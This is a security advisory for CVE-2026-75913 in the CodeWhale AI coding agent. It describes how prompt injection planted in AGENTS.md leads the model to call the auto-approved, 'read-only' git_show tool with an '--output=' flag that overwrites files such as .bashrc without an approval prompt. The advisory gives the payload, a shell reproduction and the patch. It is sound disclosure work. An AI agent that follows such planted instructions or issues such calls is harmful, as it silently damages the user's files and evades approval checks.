high · 9.3CVE-2026-75913Sep 4, 2026

CVE-2026-75913: CodeWhale Argument Injection in git_show Allows Arbitrary File Write

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A missing input guard in CodeWhale's git_show tool lets an attacker inject a --output= flag into the git command, silently overwriting any file the user owns without ever showing an approval prompt.

Packagedeepseek-tui
Ecosystemrust
Affected>= 0.3.27, <= 0.8.41
CVE-2026-75913: CodeWhale Argument Injection in git_show Allows Arbitrary File Write

The problem

The git_show tool in CodeWhale (formerly deepseek-tui) builds a git show argv by appending the model-supplied rev value directly, with no -- end-of-options sentinel and no check that rev starts with a dash.

The tool is registered as ApprovalRequirement::Auto and labeled ToolCapability::ReadOnly. That means git write the output of git show to any attacker-chosen path with zero user interaction, directly contradicting the capability the tool advertises.

Proof of concept

A working proof-of-concept for CVE-2026-75913 in deepseek-tui, with the exact payload below.

bash
# Tool call the model is instructed to make (via AGENTS.md prompt injection):
# { "rev": "--output=/home/victim/.bashrc" }

# Resulting argv assembled by git_history.rs:
git show --no-color --no-ext-diff --no-patch --stat --output=/home/victim/.bashrc

# Reproduced on a plain non-root shell:
$ cd /tmp/lp && git init -q
$ echo a > a.txt && git add a.txt
$ git -c user.email=a@b -c user.name=a commit -q -m "lol"
$ git show --no-color --no-patch "--output=/home/lowtest/.bashrc_clobbered" HEAD
$ ls -la /home/lowtest/.bashrc_clobbered
-rw-rw-r-- 1 lowtest lowtest 128 May 19 07:05 /home/lowtest/.bashrc_clobbered

The root cause is in crates/tui/src/tools/git_history.rs: the rev string from JSON input is pushed directly onto the args vec with no leading-dash check and no -- separator before it. git's option parser keeps scanning for flags past the positional arguments, so --output=<path> is consumed as the log/diff --output option, which opens the target with O_WRONLY|O_CREAT|O_TRUNC.

The patch at commit 9a34b5034d29f05d1f28fa61b04719ca6a741020 adds two guards: it rejects any rev that starts with - (returning ToolError::invalid_input), and it inserts "--end-of-options" into the argv immediately before pushing rev. Either fix alone breaks the attack; both together are defense-in-depth.

The auto-approval bypass (CWE-73/CWE-88 combined) is what elevates this past a simple injection: the write happens with no UI, while the model and the user both believe only a read occurred.

The fix

Upgrade to CodeWhale 0.8.64 or later (commit 9a34b5034d29f05d1f28fa61b04719ca6a741020). The fix validates that rev does not start with '-' and inserts '--end-of-options' before rev in the argv. No workaround exists in older versions short of blocking the git_show tool entirely.

Reporter not attributed.

References: [1][2][3][4][5]

Related research